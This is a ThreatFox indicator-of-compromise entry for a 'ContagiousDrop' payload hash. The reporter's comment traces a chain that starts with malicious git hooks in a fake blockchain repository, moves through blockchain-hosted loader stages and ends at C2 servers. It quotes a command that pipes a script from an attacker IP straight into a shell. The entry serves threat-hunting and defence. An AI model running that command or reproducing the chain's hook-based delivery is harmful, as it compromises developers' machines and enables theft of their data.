🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for sha256_hash 9522e6bf4b6291f15acfff7b7340434309e0e4ae3855f717d7a0ffce5a126c24.

Database Entry

Add tag Delete this IOC  Report False Positive Export IOC (JSON)    Export IOC (CSV)
IOC ID:1943056
IOC: 9522e6bf4b6291f15acfff7b7340434309e0e4ae3855f717d7a0ffce5a126c24
IOC Type :sha256_hash
Threat Type :payload
Malware: ContagiousDrop
Confidence Level : Confidence level is high (100%)
Is compromised? : False
First seen:2026-09-30 19:00:51 UTC
Last seen:never
UUID:fc46a5ce-bcf5-11f1-a463-42010aa4000a
Reporter Anonymous
Reward 5 credits from ThreatFox
Tags:BSC ContagiousInterview git-hook NodeJS TRON XCTDH

Avatar
Anonymous
9522e6bf=git hook (all 3 identical); 09192b6e=stage1 macOS 302m; 6497f4d0=stage1 Linux 302l; bde5c02b=stage1 Windows 302w; 47c0d92b=stage2 tokenlinux.sh; 055c299b=stage3 parser.js (obfuscated TRON->BSC loader). Chain: malicious .git/hooks (post-checkout/pre-commit/pre-push) in fake 'Buzzol' blockchain repo (renamed Corda 4.15) sent to a developer -> curl http://84.200.33.163/302/302{m,l,w} | sh -> ~/.task/tokenlinux.sh -> Node 20.11.1 + parser.js -> TRON wallet TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs (tx f1d8f489ea6ac58d954d3a9bbbf3c8032ae56547640ad371b2fe0eec949ae661, 2026-09-29) -> BSC tx 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770 (from 0x1f9eeaf3ebf612983e729b57c270cfdd90ef44dc) -> decrypted stage 4 -> C2 104.234.94.198:1144 / 107.182.130.226:1144.